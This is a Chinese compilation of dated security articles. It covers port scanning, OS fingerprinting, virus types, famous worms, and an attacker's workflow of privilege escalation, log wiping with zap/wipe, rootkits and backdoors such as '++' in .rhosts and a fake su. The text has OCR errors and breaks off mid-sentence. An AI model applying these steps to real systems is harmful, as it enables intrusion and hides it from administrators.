完成目标主机扫描任务,首先告诉HAKTEK目标主机的位臵,即域名或IP地址。然后选择端口扫描,输入扫描范围,开始扫描,屏幕很快返回.活.的端口号以及对应的服务。对资料的收集非常迅速完整。为什么掌握目标的服务资料?如果目标主机上几个关键的端口的服务都没有提供,还是放弃进攻的计划吧,不要浪费太多时间放在这个胜率不大的目标上,赶紧选择下一个目标。先看一个扫描实例:Scanning host xx.xx.xx,ports 0 to 1000
Port 7 found Desc='echo'
Port 21 found Desc='ftp'
Port 23 found Desc='telnet'
Port 25 found Desc='smtp'
Port 53 found Desc='domain/nameserver'
Port 79 found Desc='finger'
Port 80 found Desc='www'
Port 90 found、Port111 found Desc='portmap/sunrpc'
Port 512 found Desc='biff/exec'
Port 513 found Desc='login/who'
Port 514 found Desc='shell/syslog'
Port 515 found Desc='printer' Done!
如果系统主要端口是.活.的,也不要高兴太早,因为系统可能加了某些限制,不允许任何用户远程连接或不允许ROOT远程连接,或者进入后限制用户只能做指定的活动便又被强行中断,这仅仅指TELNET服务而言,其实还会遇到很多复杂的情况。这里只介绍目标主机是否开放了端口,而我们还不知目标主机使用的是什么系统,每一个端口的服务程序使用的是什么版本的系统,不要急,先联系一下HAKTEK工具吧!没有,快去下载吧!
  三、系统分析
  现在开始讲解如何了解系统,目标主机采用的是什么操作系统,其实很简单,首先打开WIN95的RUN窗口,然后输入命令:TELNET xx.xx.xx.xx(目标主机)然后[确定],看一看你的屏幕会出现什么?Digital UNIX(xx.xx.xx)(tty p1)login: 不用我说你也会知道你的目标主机和操作系统是什么啦!对,当然是DEC机,使用的是Digital UNIX啦!好,我们再看一个:UNIX? System VRelease 4.0(xx.xx.xx)login:这是什么?
  可能是SUN主机,SunOs或Solaris,具体是什么?我也说不清
楚!这一方法不是对所有的系统都有用,例如象下面的情况,就不好判断是什么系统:XXXXOS(xx.xx.xx)(tty p1)login:有些系统将显示信息进行了更改,因此就不好判断其系统的信息,但根据一些经验可以进行初步的判断,它可能是HPUnix。另外利用上面介绍的工具HAKTEK,利用目标主机的FINGER功能也可以泄露系统的信息。
Establishing real-time user list…(Only works if the sys admin is amoron)---[Finger session]
--------------------------------------
Welcome to Linux version2.0.30 at xx.xx.xx…
  上面的这句话就已经足够!如何知道系统中其它端口使用的是什么服务?例如23、25、80等端口。采用同样上面的手段,利用TELNET和本身的应用工具,FTP等。使用TELNET时请将端口号作为命令行参数,例如:telnet xx.xx.xx 25就会有类似下面的信息提供给你:220 xx.xx.xx Send mail 5.65 v3.2(1.1.8.2/31Jan97-1019AM)Wed,3 Jun 1998 13:50:47 +0900这样很清楚目标主机Sendmail的版本。当然对很多端口和不同的系统根本没有用。因此需要对应的应用工具才能获得相应的信息。例如:Connected to xx.xx.xx 220 xx.xx.xx FTP server (Digital UNIX Version5.60) ready User(xx.xx.xx none)):INTERNET上大多数是WWW主机,如何知道目标主使用的是什么样的WEBSERVER,介绍一个页面的查询工具,只要你告诉它目标主机的地址和WEB服务端口,它立刻会告诉你有关信息。
 
计算机病毒的入侵方式及分类
要真正地识别病毒,及时的查杀病毒,我们还有必要对病毒有一番较详细的了解,而且越详细越好!病毒因为由众多分散的个人或组织单独编写,也没有一个标准去衡量、去划分,所以病毒的分类可按多个角度大体去分。
如按其入侵的方式来分为以下几种:
  a、源代码嵌入攻击型
  从它的名字我们就知道这类病毒入侵的主要是高级语言的源程序,病毒是在源程序编译之前插入病毒代码,最后随源程序一起被编译成可执行文件,这样刚生成的文件就是带毒文件。当然这类文件是极少数,因为这些病毒开发者不可能轻易得到那些软件开发公司编译前的源程序,况且这种入侵的方式难度较大,需要非常专业的编程水平。
  b、代码取代攻击型
  这类病毒主要是用它自身的病毒代码取代某个入侵程序的整个或部分模块,这类病毒也少见,它主要是攻击特定的程序,针对性较强,但是不易被发现,清除起来也较困难。
  c、系统修改型
  这类病毒主要是用自身程序覆盖或修改系统中的某些文件来达到调用或替代操作系统中的部分功能,由于是直接感染系统,危害较大,也是最为多见的一种病毒类型,多为文件型病毒。
  d、外壳附加型
  这类病毒通常是将其病毒附加在正常程序的头部或尾部,相当于给程序添加了一个外壳,在被感染的程序执行时,病毒代码先被执行,然后才将正常程序调入内存。目前大多数文件型的病毒属于这一类。
如果按病毒的破坏程度来分,我们又可以将病毒划分为以下几种:
  a、良性病毒:
  这些病毒之所以把它们称之为良性病毒,是因为它们入侵的目的不是破坏你的系统,只是想玩一玩而已,多数是一些初级病毒发烧友想测试一下自己的开发病毒程序的水平。它们并不想破坏你的系统,只是发出某种声音,或出现一些提示,除了占用一定的硬盘空间和CPU处理时间外别无其它坏处。如一些木马病毒程序也是这样,只是想窃取你电脑中的一些通讯信息,如密码、IP地址等,以备有需要时用。
  b、恶性病毒
  我们把只对软件系统造成干扰、窃取信息、修改系统信息,不会造成硬件损坏、数据丢失等严重后果的病毒归之为.恶性病毒.,这类病毒入侵后系统除了不能正常使用之外,别无其它损失,系统损坏后一般只需要重装系统的某个部分文件后即可恢复,当然还是要杀掉这些病毒之后重装系统。
  c、极恶性病毒
  这类病毒比上述b类病毒损坏的程度又要大些,一般如果是感染上这类病毒你的系统就要彻底崩溃,根本无法正常启动,你备份留在硬盘中的有用数据也可能随之不能获取,轻一点的还只是删除系统文
件和应用程序等。
  d、灾难性病毒
这类病毒从它的名字我们就可以知道它会给我们带来的破坏程度,这类病毒一般是破坏磁盘的引导扇区文件、修改文件分配表和硬盘分区表,造成系统根本无法启动,有时甚至会格式化或锁死你的硬盘,使你无法使用硬盘。如果一旦染上这类病毒,你的系统就很难恢复了,保留在硬盘中的数据也就很难获取了,所造成的损失是非常巨大的,所以我们无论什么时候都应作好最坏的打算,特别是针对企业用户,应充分作好灾难性备份,还好现在大多数大型企业都已认识到备份的意义所在,花巨资在每天的系统和数据备份上,虽然大家都知道或许几年也不可能遇到过这样灾难性的后果,但是还是放松这.万一.。我所在的雀巢就是这样,而且还非常重视这个问题。如98年4.26发作的CIH病毒就可划归此类,因为它不仅对软件造成破坏,更直接对硬盘、主板的BIOS等硬件造成破坏。
 
过去的五种恶意攻击
回顾在过去五年中因特网所遭受的一连串的攻击,虽然不乏传播速度惊人、受害面惊人,或穿透深度惊人等令人们措手不及的恶意攻击,但最后都还是被人们所一一战胜。但是在经历了这一次又一次的洗礼之后,我们的网络现在是不是变得坚不可摧了呢?这是一个很难回答的问题,尽管大家都希望网络是强壮的。
  根据对两百多个读者的调查,我们选出了在过去五年里影响最
广,破坏最强的五种恶意攻击,并且还预测了在今后的五年中可能影响最大的五种攻击手段。
  需要说明的是,以下的选择和预测肯定是不能完全符合每个人的观点的,但笔者相信,我们的选择和预测结果应该还是很有代表性,和很有意义的。
  选择结果之所以如此,是因为它们中的每一种攻击的破坏力在当时都几乎撼动了大多数人对英特网的信心,从企业的CEO、CIO到系统管理员、网站管理员,甚至到家庭或公司的终端用户都几乎"谈网色变"。他们对电子商务的安全性空前地怀疑,即使在打开自己的电子邮件时也是忐忑不安,犹豫不决。总之,在当时他们所表现出来的恐慌简直令笔者感到震惊。
  1、红色代码(2001)
  2001年7月的某天,全球的IDS几乎同时报告遭到不名蠕虫攻击。信息安全组织和专业人士纷纷迅速行动起来,使用蜜罐(honeypots)技术从因特网上捕获数据包进行分析,最终发现这是一利用微软IIS缓冲溢出漏洞进行感染的变种蠕虫。其实这一安全漏洞早在一个月以前就已经被eEyeDigitalSecurity发现,微软也发布了相应的补丁程序,但是却很少有组织和企业的网络引起了足够的重视,下载并安装了该补丁。
  在红色代码首次爆发的短短9个小时内,这一小小蠕虫以速不掩耳之势迅速感染了250,000台服务器,其速度和深入范围之广也迅速引起了全球媒体的注意。最初发现的红色代码蠕虫还只是篡改英文
站点的主页,显示.Welcome to http://www.worm.com!  Hacked by Chinese!.等信息。但是随后的红色代码蠕虫便如同洪水般在互联网上泛滥,发动DoS(拒绝服务)攻击以及格式化目标系统硬盘,并会在每月20日~28日对白宫的WWW站点的IP地址发动DoS攻击,使白宫的WWW站点不得不全部更改自己的IP地址。之后,红色代码又不断的变种,其破坏力也更强,在红色代码II肆虐时,有近2万服务器/500万网站被感染。
  红色代码就是凭着这样过硬的"本领",在我们的1997至2002年网络攻击之最的民意调查中与Nimda以占选票44%的绝对优势位居榜首。
  从红色代码的肆虐中网络用户可以得到以下启示:
  只要注意及时更新补丁和修复程序,对于一般的蠕虫传播是完全可以避免的。因此作为系统管理员在平时应该多注意自己的系统和应用程序所出现的最新漏洞和修复程序,对于提供了修复程序和解决方案的应立即安装和实施。
  在网络遭到攻击时,为进行进一步的分析,使用蜜罐是一种非常行之有效的方法。
  红色代码猛攻白宫之所以被成功扼制,是因为ISP们及时将路由表中所有白宫的IP地址都清空了,在这一蠕虫代码企图阻塞网络之前,在因特网边界就已被丢弃。另外,白宫网站也立即更改了所有服务器的IP地址。
2、尼姆达(2001)
  尼姆达(Nidma)是在9/11恐怖袭击后整整一个星期后出现的。笔者现在还清楚地记得因为美国的网络常常成为恐怖组织和对其怀有敌意的黑客的攻击目标。另外,地区之间的冲突和摩擦也会导致双方黑客互相实施攻击,当时传言是中国为了试探美国对网络恐怖袭击的快速反应能力而散布了尼姆达病毒,一些安全专家甚至喊出了.我们现在急需制定另一个‘曼哈顿计划’,以随时应对网络恐怖主义.的口号,由此可见尼姆达在当时给人们造成的恐慌。
  尼姆达病毒是在早上9:08发现的,它明显地比红病毒更快、更具有摧毁功能,半小时之内就传遍了整个世界。随后在全球各地侵袭了830万部电脑,总共造成将近10亿美元的经济损失。
  同"红色代码"一样,"尼姆达"也是通过网络对Windows操作系统进行感染的一种蠕虫型病毒。但是它与以前所有的网络蠕虫的最大不同之处在于,"尼姆达"通过多种不同的途径进行传播,而且感染多种Windows操作系统。"。"红色代码"只能够利用IIS的漏洞来感染系统,而"尼姆达"则利用了至少四种微软产品的漏洞来进行传播:
  在IIS中的缺陷;
  浏览器的JavaScript缺陷;
  利用Outlook电子邮件客户端的一个安全缺陷乱发邮件;
  利用硬盘共享的一个缺陷,将guest用户击活并非法提升为管理员。
  在一个系统遭到感染后,Nimda又会立即寻找突破口,迅速感染周边的系统,并占用大部分的网络带宽。
  从Nimda蠕虫病毒播发的全程和特点来看,网络用户又可以深刻地认识到:
  对网络攻击事件的紧急响应能力以及和安全专家们建立良好的关系是非常重要的。
  为阻断恶意蠕虫的传播,往往需要在和广域网的接口之间设臵过滤器,或者干脆暂时断开和广域网的连接。
  在电子邮件客户端和网络浏览器中禁止任意脚本的执行对网络安全性来说是很关键的。
3、Melissa(1999)和LoveLetter(2000)
  在1999年3月爆发的Melissa病毒和2000年5月爆发的LoveLetter病毒因为它们能够迅速蔓延,并造成极大的危害也荣登了这次评选的五大宝座之一。Melissa是Microsoft Word宏病毒,LoveLetter则是VBScript病毒,二者除了都是利用Outlook电子邮件附件进行传播外,另外恶意代码也都是利用Microsoft公司开发的Script语言缺陷进行攻击,因此二者非常相似。
  用户一旦在Microsoft Outlook里打开这个邮件,系统就会自动复制恶意代码并向地址簿中的所有邮件地址发送带有病毒的邮件。由于Outlook用户数目众多,其病毒又可以很容易地被复制,很快许多公司的邮件服务器就被洪水般的垃圾邮件塞满而中断了服务。一些公司在发现遭到攻击或可能遭到后立即将自己内部网络与因特网断开,在内部网将遭到蠕虫感染的机器清除或隔离,等病毒风暴过后才连接到internet上,因此才免受其危害。当时的各大防病毒厂商在病毒爆发
后不久立即向他们的客户分发病毒签名文件,但是由于用户太多却要在同一时间下载和更新病毒库,使得要想及时更新签名文件变得非常困难,这无疑更加助长了病毒的肆虐。也正是因为这个原因使得Melissa和LoveLetter病毒所产生的危害仅次于红色代码和尼姆达。
  Melissa和LoveLetter的爆发可以说是信息安全的唤醒电话,它引起了当时人们对信息安全现状的深思,并无形中对信息安全的设施和人才队伍的发展起了很大的刺激作用:
  Melissa和LoveLetter刺激了企业和公司对网络安全的投资,尤其是对防病毒方面的投入;
  许多公司对网络蠕虫病毒的紧急响应表现出来的无能刺激了专业的网络安全紧急响应小组的空前壮大。
4、分布式拒绝服务攻击(2000)
  在新千年的到来之季,信息安全领域的人们都以为可以集体地长长地嘘一口气了,因为他们以为由于存在千年虫的问题,在信息网络安全领域中应该暂时还不会出现什么涟波。然后,一月之后却来了一场谁也意想不到的大洪水:在全球知名网站雅虎第一个宣告因为遭受分布式拒绝服务攻击而彻底崩溃后,紧接着Amazon.com,CNN,E*Trade,ZDNet,Buy.com,Excite和eBay等其它七大知名网站也几乎在同一时间彻底崩溃。这无疑又一次敲项了因特网的警钟。在这以前人们其实已经接触过来自数以百计的机器的flood攻击,但是像攻击雅虎这样如此大规模的攻击却从未目击过甚至想像过。
  DDoS的闪电般攻击使人们认识到英特网远比他们想象得更加脆
弱,分布式地拒绝服务攻击产生的影响也远比他们原来想象中的要大得多。利用因特网上大量的机器进行DDoS,分布式扫描和分布式口令破解等,一个攻击者能够达到许多意想不到的强大效果。
  从雅虎遭到强大的DDoS攻击中人们又获得了什么启示呢?
  要阻止这种攻击关键是网络出口反欺骗过滤器的功能是否强大。也就是说如果你的Web服务器收到的数据包的源IP地址是伪造的话,你的边界路由器或防火墙必须能够识别出来并将其丢弃。
  网络安全事件响应小组们认识到他们必须和他们的ISP共同去阻止数据包的flood攻击。如果失去ISP的支持,即使你的防火墙功能再强大,你网络出口的带宽仍旧可能被全部占用。唯一有效的也是最快速地方法就是和ISP联手一起来通过丢包等方法阻挡这一庞大的flood攻击。
  不幸地,DDoS攻击即使在目前也仍旧是互联网面临的主要威胁,当然这主要是因为ISP在配合阻断DDoS攻击上速度太慢引起的,无疑使事件紧急响应的效果大打折扣。
5、远程控制特洛伊木马后门(1998-2000)
  在1998年7月,黑客CultoftheDeadCow(cDc)推出的强大后门制造工具BackOrifice(或称BO)使庞大的网络系统轻而易举地陷入了瘫痪之中。安装BO主要目的是:黑客通过网络远程入侵并控制受攻击的Win95系统,从而使受侵机器.言听计从.。BO以多功能、代码简洁而著称,并且由于BO操作简单,只要简单地点击鼠标即可,即使最不熟练的黑客也可以成功地引诱用户安装BackOrifice。只要用
户一安装了BackOrifice,黑客几乎就可以为所欲为了,像非法访问敏感信息,修改和删除数据,甚至改变系统配臵。
  如果仅仅从功能上讲,BackOrifice完全可以和市场上最流行的商业远程控制软件,像赛门铁克的pcanywhere,CA的ControlIT,和免费软件VNC等相媲美。因此,许多人干脆拿它来当作远程控制软件来进行合法的网络管理。
  由于其简单易用和大肆地宣传,BO迅速被众多的初级黑客用来攻击系统。BO的成功后来也迅速地带动和产生了许多类似的远程控制工具,像SubSeven,NetBus,Hack-a-Tack和BackOrifice2000(BO2K)等。这些攻击工具和方法甚至一直保留到现在,作为黑客继续开发新的和更加强大的特洛伊木马后门,以避开检测,绕过个人防火墙和伪装自己的设计思想基础。
  BackOrifice和其它类似的木马后门工具使人们从根本上认识到了对用户进行一定的安全方面的培训,使他们不要随意运行不信任软件和广泛地配臵防病毒软件的重要性。
  当然以上列举的五点可能带有一定的偏见,例如也有很多用户另外还选择了下面的三种:
  在2002年8月公布的在IE浏览器中签发CA证书时存在的安全漏洞;
  在2002年2月发现的多个SNMP漏洞;
  在2001年1月伪装成微软职员进行代码签名的漏洞。
虽然这些恶意的全球性的攻击给人们带来了数十亿美元的经济
损失,但也在一定程度上给信息安全技术的发展在无形中起到了巨大的刺激和促进作用。从这些具体的攻击和排除,防范措施中,人们使网络信息安全策略得到了不断地完善和加强,为迎接新的信息安全挑战奠定了基础。
 
黑客初级技术概述
网络安全从其本质上来讲就是网络上的信息安全。从广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。确保网络系统的信息安全是网络安全的目标,信息安全包括两个方面:信息的存储安全和信息的传输安全。信息的存储安全是指信息在静态存放状态下的安全,如是否会被非授权调用等。信息的传输安全是指信息在动态传输过程中安全。为了确保网络信息的传输安全,有以下几个问题:
  (1)对网络上信息的监听
  (2)对用户身份的仿冒
  (3)对网络上信息的篡改
  (4)对发出的信息予以否认
  (5)对信息进行重发
  对于一般的常用入侵方法主要有
  1、口令入侵
  所谓口令入侵,就是指用一些软件解开已经得到但被人加密的口令文档,不过许多黑客已大量采用一种可以绕开或屏蔽口令保护的程
序来完成这项工作。对于那些可以解开或屏蔽口令保护的程序通常被称为.Crack.。由于这些软件的广为流传,使得入侵电脑网络系统有时变得相当简单,一般不需要很深入了解系统的内部结构,是初学者的好方法。
  2、特洛伊木马术
  说到特洛伊木马,只要知道这个故事的人就不难理解,它最典型的做法可能就是把一个能帮助黑客完成某一特定动作的程序依附在某一合法用户的正常程序中,这时合法用户的程序代码已被该变。一旦用户触发该程序,那么依附在内的黑客指令代码同时被激活,这些代码往往能完成黑客指定的任务。由于这种入侵法需要黑客有很好的编程经验,且要更改代码、要一定的权限,所以较难掌握。但正因为它的复杂性,一般的系统管理员很难发现。
  3、监听法
  这是一个很实用但风险也很大的黑客入侵方法,但还是有很多入侵系统的黑客采用此类方法,正所谓艺高人胆大。
  网络节点或工作站之间的交流是通过信息流的转送得以实现,而当在一个没有集线器的网络中,数据的传输并没有指明特定的方向,这时每一个网络节点或工作站都是一个接口。这就好比某一节点说:.嗨!你们中有谁是我要发信息的工作站。.
  此时,所有的系统接口都收到了这个信息,一旦某个工作站说:.嗨!那是我,请把数据传过来。.联接就马上完成。
  目前有网络上流传着很多嗅探软件,利用这些软件就可以很简单
的监听到数据,甚至就包含口令文件,有的服务在传输文件中直接使用明文传输,这也是非常危险的。
4、E-mail技术
  使用email加木马程序这是黑客经常使用的一种手段,而且非常奏效,一般的用户,甚至是网管,对网络安全的意识太过于淡薄,这就给很多黑客以可乘之机。
  5、病毒技术
  作为一个黑客,如此使用应该是一件可耻的事情,不过大家可以学习,毕竟也是一种攻击的办法,特殊时间,特殊地点完全可以使用。
  6、隐藏技术
  网络攻击的一般步骤及实例
  攻击的准备阶段
  首先需要说明的是,入侵者的来源有两种,一种是内部人员利用自己的工作机会和权限来获取不应该获取的权限而进行的攻击。另一种是外部人员入侵,包括远程入侵、网络节点接入入侵等。本节主要讨论远程攻击。
  进行网络攻击是一件系统性很强的工作,其主要工作流程是:收集情报,远程攻击,远程登录,取得普通用户的权限,取得超级用户的权限,留下后门,清除日志。主要内容包括目标分析,文档获取,破解密码,日志清除等技术,下面分别介绍。
  1、确定攻击的目的
  攻击者在进行一次完整的攻击之前首先要确定攻击要达到什么
样的目的,即给对方造成什么样的后果。常见的攻击目的有破坏型和入侵型两种。破坏型攻击指的只是破坏攻击目标,使其不能正常工作,而不能随意控制目标的系统的运行。要达到破坏型攻击的目的,主要的手段是拒绝服务攻击(Denial Of Service)。另一类常见的攻击目的是入侵攻击目标,这种攻击是要获得一定的权限来达到控制攻击目标的目的。应该说这种攻击比破坏型攻击更为普遍,威胁性也更大。因为黑客一旦获取攻击目标的管理员权限就可以对此服务器做任意动作,包括破坏性的攻击。此类攻击一般也是利用服务器操作系统、应用软件或者网络协议存在的漏洞进行的。当然还有另一种造成此种攻击的原因就是密码泄露,攻击者靠猜测或者穷举法来得到服务器用户的密码,然后就可以和真正的管理员一样对服务器进行访问。
  2、信息收集
  除了确定攻击目的之外,攻击前的最主要工作就是收集尽量多的关于攻击目标的信息。这些信息主要包括目标的操作系统类型及版本,目标提供哪些服务,各服务器程序的类型与版本以及相关的社会信息。
  要攻击一台机器,首先要确定它上面正在运行的操作系统是什么,因为对于不同类型的操作系统,其上的系统漏洞有很大区别,所以攻击的方法也完全不同,甚至同一种操作系统的不同版本的系统漏洞也是不一样的。要确定一台服务器的操作系统一般是靠经验,有些服务器的某些服务显示信息会泄露其操作系统。例如当我们通过TELNET连上一台机器时,如果显示
  Unix(r)SystemVRelease4.0
  login:
  那么根据经验就可以确定这个机器上运行的操作系统为SUNOS5.5或5.5.l。但这样确定操作系统类型是不准确的,因为有些网站管理员为了迷惑攻击者会故意更改显示信息,造成假象。
还有一种不是很有效的方法,诸如查询DNS的主机信息(不是很可靠)来看登记域名时的申请机器类型和操作系统类型,或者使用社会工程学的方法来获得,以及利用某些主机开放的SNMP的公共组来查询。
  另外一种相对比较准确的方法是利用网络操作系统里的TCP/IP堆栈作为特殊的.指纹.来确定系统的真正身份。因为不同的操作系统在网络底层协议的各种实现细节上略有不同。可以通过远程向目标发送特殊的包,然后通过返回的包来确定操作系统类型。例如通过向目标机发送一个FIN的包(或者是任何没有ACK或SYN标记的包)到目标主机的一个开放的端口然后等待回应。许多系统如windows、BSDI、CISCO、HP/UX和IRIX会返回一个RESET。通过发送一个SYN包,它含有没有定义的TCP标记的TCP头。那么在Linux系统的回应包就会包含这个没有定义的标记,而在一些别的系统则会在收到SYN+BOGU包之后关闭连接。或是利用寻找初始化序列长度模板与特定的操作系统相匹配的方法。利用它可以对许多系统分类,如较早的Unix系统是64K长度,一些新的Unix系统的长度则是随机增长。还有就是检查返回包里包含的窗口长度,这项技术根据各个操作
系统的不同的初始化窗口大小来唯一确定它们。利用这种技术实现的工具很多,比较著名的有NMAP、CHECKOS、QUESO等。
  获知目标提供哪些服务及各服务daemon的类型、版本同样非常重要,因为已知的漏洞一般都是对某一服务的。这里说的提供服务就是指通常我们提到的喘口,例如一般TELNET在23端口,FTP在对21端口,WWW在80端口或8080端口,这只是一般情况,网站管理完全可以按自己的意愿修改服务所监听的端口号。在不同服务器上提供同一种服务的软件也可以是不同,我们管这种软件叫做daemon,例如同样是提供FTP服务,可以使用wuftp、proftp,ncftp等许多不同种类的daemon。确定daemon的类型版本也有助于黑客利用系统漏洞攻破网站。
  另外需要获得的关于系统的信息就是一些与计算机本身没有关系的社会信息,例如网站所属公司的名称、规模,网络管理员的生活习惯、电话号码等。这些信息看起来与攻击一个网站没有关系,实际上很多黑客都是利用了这类信息攻破网站的。例如有些网站管理员用自己的电话号码做系统密码,如果掌握了该电话号码,就等于掌握了管理员权限进行信息收集可以用手工进行,也可以利用工具来完成,完成信息收集的工具叫做扫描器。用扫描器收集信息的优点是速度快,可以一次对多个目标进行扫描。
  攻击的实施阶段
  1、获得权限
  当收集到足够的信息之后,攻击者就要开始实施攻击行动了。作
为破坏性攻击,只需利用工具发动攻击即可。而作为入侵性攻击,往往要利用收集到的信息,找到其系统漏洞,然后利用该漏洞获取一定的权限。有时获得了一般用户的权限就足以达到修改主页等目的了,但作为一次完整的攻击是要获得系统最高权限的,这不仅是为了达到一定的目的,更重要的是证明攻击者的能力,这也符合黑客的追求。
  能够被攻击者所利用的漏洞不仅包括系统软件设计上的安全漏洞,也包括由于管理配臵不当而造成的漏洞。前不久,因特网上应用最普及的著名www服务器提供商Apache的主页被黑客攻破,其主页面上的Powered by Apache图样(羽毛状的图画)被改成了Powered by Microsoft Backoffice的图样,那个攻击者就是利用了管理员对Webserver用数据库的一些不当配臵而成功取得最高权限的。
  当然大多数攻击成功的范例还是利用了系统软件本身的漏洞。造成软件漏洞的主要原因在于编制该软件的程序员缺乏安全意识。当攻击者对软件进行非正常的调用请求时造成缓冲区溢出或者对文件的非法访问。其中利用缓冲区溢出进行的攻击最为普遍,据统计80%以上成功的攻击都是利用了缓冲区溢出漏洞来获得非法权限的。关于缓冲区溢出在后面用专门章节来作详细解释。
  无论作为一个黑客还是一个网络管理员,都需要掌握尽量多的系统漏洞。黑客需要用它来完成攻击,而管理员需要根据不同的漏洞来进行不同的防御措施。了解最新最多的漏洞信息,可以到诸如Rootshell(www.rootshell.com)、Packetstorm(packetstorm.securify.com)、Securityfocus(www.securityfocus.com)
等网站去查找。
  2、权限的扩大
  系统漏洞分为远程漏洞和本地漏洞两种,远程漏洞是指黑客可以在别的机器上直接利用该漏洞进行攻击并获取一定的权限。这种漏洞的威胁性相当大,黑客的攻击一般都是从远程漏洞开始的。但是利用远程漏洞获取的不一定是最高权限,而往往只是一个普通用户的权限,这样常常没有办法做黑客们想要做的事。这时就需要配合本地漏洞来把获得的权限进行扩大,常常是扩大至系统的管理员权限。
只有获得了最高的管理员权限之后,才可以做诸如网络监听、打扫痕迹之类的事情。要完成权限的扩大,不但可以利用已获得的权限在系统上执行利用本地漏洞的程序,还可以放一些木马之类的欺骗程序来套取管理员密码,这种木马是放在本地套取最高权限用的,而不能进行远程控制。例如一个黑客已经在一台机器上获得了一个普通用户的账号和登录权限,那么他就可以在这台机器上放臵一个假的su程序。一旦黑客放臵了假su程序,当真正的合法用户登录时,运行了su,并输入了密码,这时root密码就会被记录下来,下次黑客再登录时就可以使用su变成root了。
  攻击的善后工作
  1、日志系统简介
  如果攻击者完成攻击后就立刻离开系统而不做任何善后工作,那么他的行踪将很快被系统管理员发现,因为所有的网络操作系统一般都提供日志记录功能,会把系统上发生的动作记录下来。所以,为了
自身的隐蔽性,黑客一般都会抹掉自己在日志中留下的痕迹。想要了解黑客抹掉痕迹的方法,首先要了解常见的操作系统的日志结构以及工作方式。Unix的日志文件通常放在下面这几个位臵,根据操作系统的不同略有变化
  /usr/adm——早期版本的Unix。
  /var/adm新一点的版本使用这个位臵。
  /varflort一些版本的Solaris、LinuxBSD、FreeBSD使用这个位臵。
  /etc大多数Unix版本把Utmp放在此处,一些Unix版本也把Wtmp放在这里,这也是Syslog.conf的位臵。
  下面的文件可能会根据你所在的目录不同而不同:
  acct或pacct-一记录每个用户使用的命令记录。
  accesslog主要用来服务器运行了NCSAHTTP服务器,这个记录文件会记录有什么站点连接过你的服务器。
  aculo保存拨出去的Modems记录。
  lastlog记录了最近的Login记录和每个用户的最初目的地,有时是最后不成功Login的记录。
  loginlog一记录一些不正常的login记录。
  messages——记录输出到系统控制台的记录,另外的信息由Syslog来生成。
  security记录一些使用UUCP系统企图进入限制范围的事例。
  sulog记录使用su命令的记录。
  utmp记录当前登录到系统中的所有用户,这个文件伴随着用户进入和离开系统而不断变化。
  Utmpx,utmp的扩展。
  wtmp记录用户登录和退出事件。
  Syslog最重要的日志文件,使用syslogd守护程序来获得。
  2、隐藏踪迹
  攻击者在获得系统最高管理员权限之后就可以随意修改系统上的文件了(只对常规Unix系统而言),包括日志文件,所以一般黑客想要隐藏自己的踪迹的话,就会对日志进行修改。最简单的方法当然就是删除日志文件了,但这样做虽然避免了系统管理员根据IP追踪到自己,但也明确无误地告诉了管理员,系统己经被人侵了。所以最常用的办法是只对日志文件中有关自己的那一部分做修改。关于修改方法的具体细节根据不同的操作系统有所区别,网络上有许多此类功能的程序,例如zap、wipe等,其主要做法就是清除utmp、wtmp、Lastlog和Pacct等日志文件中某一用户的信息,使得当使用w、who、last等命令查看日志文件时,隐藏掉此用户的信息。
管理员想要避免日志系统被黑客修改,应该采取一定的措施,例如用打印机实时记录网络日志信息。但这样做也有弊端,黑客一旦了解到你的做法就会不停地向日志里写入无用的信息,使得打印机不停地打印日志,直到所有的纸用光为止。所以比较好的避免日志被修改的办法是把所有日志文件发送到一台比较安全的主机上,即使用loghost。即使是这样也不能完全避免日志被修改的可能性,因为黑客既然能攻
入这台主机,也很可能攻入loghost。
  只修改日志是不够的,因为百密必有一漏,即使自认为修改了所有的日志,仍然会留下一些蛛丝马迹的。例如安装了某些后门程序,运行后也可能被管理员发现。所以,黑客高手可以通过替换一些系统程序的方法来进一步隐藏踪迹。这种用来替换正常系统程序的黑客程序叫做rootkit,这类程序在一些黑客网站可以找到,比较常见的有LinuxRootKit,现在已经发展到了5.0版本了。它可以替换系统的ls、ps、netstat、inetd等等一系列重要的系统程序,当替换了ls后,就可以隐藏指定的文件,使得管理员在使用ls命令时无法看到这些文件,从而达到隐藏自己的目的。
  3、后门
  一般黑客都会在攻入系统后不只一次地进入该系统。为了下次再进入系统时方便一点,黑客会留下一个后门,特洛伊木马就是后门的最好范例。Unix中留后门的方法有很多种,下面介绍几种常见的后门,供网络管理员参考防范。
  (1)密码破解后门
  这是入侵者使用的最早也是最老的方法,它不仅可以获得对Unix机器的访问,而且可以通过破解密码制造后门。这就是破解口令薄弱的帐号。以后即使管理员封了入侵者的当前帐号,这些新的帐号仍然可能是重新侵入的后门。多数情况下,入侵者寻找口令薄弱的未使用帐号,然后将口令改的难些。当管理员寻找口令薄弱的帐号时,也不会发现这些密码已修改的帐号。因而管理员很难确定查封哪个帐号。
  (2)Rhosts++后门
  在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法。用户可以轻易的改变设臵而不需口令就能进入。入侵者只要向可以访问的某用户的rhosts文件中输入"++",就可以允许任何人从任何地方无须口令便能进入这个帐号。特别当home目录通过NFS向外共享时,入侵者更热衷于此。这些帐号也成了入侵者再次侵入的后门。许多人更喜欢使用Rsh,因为它通常缺少日志能力、许多管理员经常检查"++",所以入侵者实际上多设臵来自网上的另一个帐号的主机名和用户名,从而不易被发现。
  (3)校验和及时间戳后门
  早期,许多入侵者用自己的trojan程序替代二进制文件。系统管理员便依靠时间戳和系统校验和的程序辨别一个二进制文件是否已被改变,如Unix里的sum程序。入侵者又发展了使trojan文件和原文件时间戳同步的新技术。它是这样实现的:先将系统时钟拨回到原文件时间,然后调整trojan文件的时间为系统时间。一旦二进制trojan文件与原来的精确同步,就可以把系统时间设回当前时间。Sum程序是基于CRC校验,很容易骗过。入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序。MD5是被大多数人推荐的,MD5使用的算法目前还没人能骗过。
  (4)Login后门
  在Unix里,login程序通常用来对telnet来的用户进行口令验证,入侵者获取login.c的原代码并修改,使它在比较输入口令与存储口
